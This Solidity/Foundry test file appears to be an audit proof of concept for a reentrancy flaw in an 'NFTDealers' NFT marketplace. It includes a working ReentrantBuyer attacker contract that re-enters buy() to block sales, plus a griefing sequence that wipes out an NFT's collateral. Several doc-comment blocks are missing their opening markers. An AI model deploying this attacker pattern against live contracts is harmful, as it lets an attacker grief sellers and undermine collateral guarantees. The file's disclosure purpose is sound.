pragma solidity 0.8.34;
import {Test, console2} from "forge-std/Test.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
contract StateObserver is IERC721Receiver {
bool public isActiveAtCallback;
address public ownerAtCallback;
NFTDealers private _nftDealers;
uint256 private _targetListingId;
constructor(NFTDealers nftDealers, uint256 targetListingId) {
_nftDealers = nftDealers;
_targetListingId = targetListingId;
}
function onERC721Received(
address, address, uint256 tokenId, bytes calldata
) external override returns (bytes4) {
(, , , , bool isActive) = _nftDealers.s_listings(_targetListingId);
isActiveAtCallback = isActive;
ownerAtCallback = _nftDealers.ownerOf(tokenId);
return IERC721Receiver.onERC721Received.selector;
}
}
contract ReentrantBuyer is IERC721Receiver {
NFTDealers private _nftDealers;
MockUSDC private _usdc;
uint256 private _targetListingId;
bool private _armed;
constructor(NFTDealers nftDealers, MockUSDC usdc) {
_nftDealers = nftDealers;
_usdc = usdc;
}
function armAndBuy(uint256 listingId, uint256 approvalAmount) external {
_targetListingId = listingId;
_armed = true;
_usdc.approve(address(_nftDealers), approvalAmount);
_nftDealers.buy(listingId);
}
function onERC721Received(
address, address, uint256, bytes calldata
) external override returns (bytes4) {
if (_armed) {
_armed = false;
_nftDealers.buy(_targetListingId);
}
return IERC721Receiver.onERC721Received.selector;
}
}
contract PoC_M3_BuyCEIViolation is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE =
"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
address public owner = makeAddr("owner");
address public seller = makeAddr("seller");
address public eoa = makeAddr("eoa");
uint256 public constant LOCK_AMOUNT = 20e6;
uint32 public constant SALE_PRICE = 100e6;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(
owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT
);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(seller);
usdc.mint(seller, LOCK_AMOUNT);
}
* @notice A passive contract buyer records s_listings[id].isActive during
* onERC721Received. After buy() fully completes, the recorded value
* is true, proving the state invariant was violated.
*
* At the time of the callback: buyer owns the NFT AND isActive=true.
* After buy() returns: isActive=false (set at line 152).
* The window between these two points is the CEI violation.
*/
function testM3_StaleIsActiveObservable() public {
console2.log("=== M-3: STALE isActive OBSERVABLE DURING CALLBACK ===");
vm.startPrank(seller);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
uint256 tokenId = nftDealers.totalMinted();
nftDealers.list(tokenId, SALE_PRICE);
vm.stopPrank();
StateObserver observer = new StateObserver(nftDealers, tokenId);
usdc.mint(address(observer), uint256(SALE_PRICE));
console2.log("[0] Listing created. isActive before buy:", true);
console2.log(" Observer will record isActive during onERC721Received");
vm.prank(address(observer));
usdc.approve(address(nftDealers), uint256(SALE_PRICE));
vm.prank(address(observer));
nftDealers.buy(tokenId);
(, , , , bool isActiveAfter) = nftDealers.s_listings(tokenId);
console2.log("[1] isActive recorded DURING onERC721Received callback:");
console2.log(" observer.isActiveAtCallback =", observer.isActiveAtCallback());
console2.log(" observer.ownerAtCallback =", observer.ownerAtCallback());
console2.log(" (owner during callback should be observer address, confirming");
console2.log(" NFT was transferred before isActive was set false)");
console2.log("[2] isActive AFTER buy() returned:", isActiveAfter);
console2.log(" CEI invariant: isActive should be false BEFORE the callback fires");
assertTrue(observer.isActiveAtCallback(),
"CRITICAL: isActive = true during onERC721Received -- CEI violated");
assertEq(observer.ownerAtCallback(), address(observer),
"Buyer owns NFT during callback while listing still shows active");
assertFalse(isActiveAfter,
"isActive correctly false after buy() -- but the callback saw stale state");
assertEq(nftDealers.ownerOf(tokenId), address(observer),
"Buyer owns NFT after completion");
}
* @notice A malicious buyer contract re-enters buy() in onERC721Received.
* Because isActive is still true (CEI violation), the re-entry
* passes the isActive guard and attempts to process. The inner buy()
* decrements activeListingsCounter which is already 0 (decremented
* by the outer buy()). In Solidity 0.8 this underflows and reverts.
* The revert propagates back through onERC721Received, _safeTransfer,
* and the outer buy() -- completely rolling back the sale.
*
* Result: seller's NFT is never transferred, no USDC is paid,
* the listing remains active, and the sale is permanently blocked
* against this buyer.
*/
function testM3_ReentrancyDoSSell() public {
console2.log("\n=== M-3: REENTRANCY DoS -- MALICIOUS BUYER BLOCKS SALE ===");
vm.startPrank(seller);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
uint256 tokenId = nftDealers.totalMinted();
nftDealers.list(tokenId, SALE_PRICE);
vm.stopPrank();
assertEq(nftDealers.totalActiveListings(), 1, "1 active listing before attack");
ReentrantBuyer attacker = new ReentrantBuyer(nftDealers, usdc);
usdc.mint(address(attacker), uint256(SALE_PRICE) * 2);
uint256 sellerUsdcBefore = usdc.balanceOf(seller);
uint256 contractUsdcBefore = usdc.balanceOf(address(nftDealers));
console2.log("[0] Before attack:");
console2.log(" Seller owns NFT:", nftDealers.ownerOf(tokenId) == seller);
console2.log(" Active listings:", nftDealers.totalActiveListings());
console2.log(" Attacker USDC :", usdc.balanceOf(address(attacker)) / 1e6, "USDC");
vm.expectRevert();
attacker.armAndBuy(tokenId, uint256(SALE_PRICE) * 2);
uint256 sellerUsdcAfter = usdc.balanceOf(seller);
uint256 contractUsdcAfter = usdc.balanceOf(address(nftDealers));
console2.log("[1] After attack:");
console2.log(" Seller still owns NFT:", nftDealers.ownerOf(tokenId) == seller);
console2.log(" Active listings:", nftDealers.totalActiveListings());
console2.log(" Seller USDC delta :", int256(sellerUsdcAfter) - int256(sellerUsdcBefore));
console2.log(" Contract USDC delta:", int256(contractUsdcAfter) - int256(contractUsdcBefore));
console2.log(" Attacker USDC :", usdc.balanceOf(address(attacker)) / 1e6, "USDC (unchanged)");
console2.log(" RESULT: Buy fully reverted. NFT stuck listed. Seller earns nothing.");
assertEq(nftDealers.ownerOf(tokenId), seller,
"CRITICAL: NFT still owned by seller -- sale DoS succeeded");
assertEq(nftDealers.totalActiveListings(), 1,
"CRITICAL: listing still active after DoS");
assertEq(sellerUsdcAfter, sellerUsdcBefore,
"Seller received no USDC -- sale was blocked");
assertEq(contractUsdcAfter, contractUsdcBefore,
"Contract USDC unchanged -- buy was fully rolled back");
assertEq(usdc.balanceOf(address(attacker)), uint256(SALE_PRICE) * 2,
"Attacker USDC unchanged -- no payment made");
}
* @notice After repeated DoS attacks from a malicious buyer, the seller has
* no on-chain way to force the sale to a different buyer without
* first cancelling the listing. Calling cancelListing() triggers H-2:
* the seller's lockAmount collateral is returned and zeroed, meaning
* any subsequent listing of the same NFT provides no backing.
*
* If the seller re-lists after cancel, the NFT has zero collateral.
* A new buyer (legitimate) who buys the re-listed NFT holds an NFT
* the protocol claims is backed by 20 USDC but actually has 0 USDC.
*
* Compound impact: M-3 (CEI) + H-2 (no escrow) = seller's only
* escape from a griefed listing permanently destroys the protocol's
* collateral guarantee for that NFT.
*/
function testM3_GriefingSellersListing() public {
console2.log("\n=== M-3: GRIEFING -> FORCED CANCEL -> H-2 COLLATERAL DESTROYED ===");
vm.startPrank(seller);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
uint256 tokenId = nftDealers.totalMinted();
nftDealers.list(tokenId, SALE_PRICE);
vm.stopPrank();
ReentrantBuyer attacker = new ReentrantBuyer(nftDealers, usdc);
usdc.mint(address(attacker), uint256(SALE_PRICE) * 2);
console2.log("[0] Seller lists NFT. collateralForMinting[1] = 20 USDC.");
console2.log(" Attacker DoS-es the listing 3 times:");
for (uint256 i = 1; i <= 3; i++) {
usdc.mint(address(attacker), uint256(SALE_PRICE) * 2);
try attacker.armAndBuy(tokenId, uint256(SALE_PRICE) * 2) {
} catch {
console2.log(" Attempt", i, ": buy() reverted -- listing still active");
}
}
assertEq(nftDealers.ownerOf(tokenId), seller, "NFT still with seller after 3 attacks");
assertEq(nftDealers.totalActiveListings(), 1, "Listing still active after 3 attacks");
uint256 sellerUsdcBefore = usdc.balanceOf(seller);
uint256 collateralBefore = nftDealers.collateralForMinting(tokenId);
vm.prank(seller);
nftDealers.cancelListing(tokenId);
uint256 collateralAfter = nftDealers.collateralForMinting(tokenId);
console2.log("[1] Seller forced to cancel. H-2 triggers:");
console2.log(" collateralForMinting before cancel:", collateralBefore / 1e6, "USDC");
console2.log(" collateralForMinting after cancel:", collateralAfter / 1e6, "USDC (zeroed)");
console2.log(" Seller got lockAmount back:", (usdc.balanceOf(seller) - sellerUsdcBefore) / 1e6, "USDC");
vm.prank(seller);
nftDealers.list(tokenId, SALE_PRICE);
address legitimateBuyer = makeAddr("legitimateBuyer");
usdc.mint(legitimateBuyer, uint256(SALE_PRICE));
vm.startPrank(legitimateBuyer);
usdc.approve(address(nftDealers), uint256(SALE_PRICE));
nftDealers.buy(tokenId);
vm.stopPrank();
uint256 backingAfterResale = nftDealers.collateralForMinting(tokenId);
console2.log("[2] Seller re-lists. Legitimate EOA buyer purchases.");
console2.log(" collateralForMinting after resale:", backingAfterResale / 1e6, "USDC");
console2.log(" Buyer paid", uint256(SALE_PRICE) / 1e6, "USDC for an NFT with 0 USDC backing.");
console2.log(" M-3 griefing + H-2 compound: protocol guarantee permanently destroyed.");
assertEq(collateralAfter, 0,
"CRITICAL: cancel zeroed collateral (H-2) -- NFT backing destroyed");
assertEq(backingAfterResale, 0,
"CRITICAL: resale buyer holds NFT with 0 USDC backing (protocol guarantees 20 USDC)");
assertEq(nftDealers.ownerOf(tokenId), legitimateBuyer,
"Legitimate buyer owns the NFT post-resale");
}
}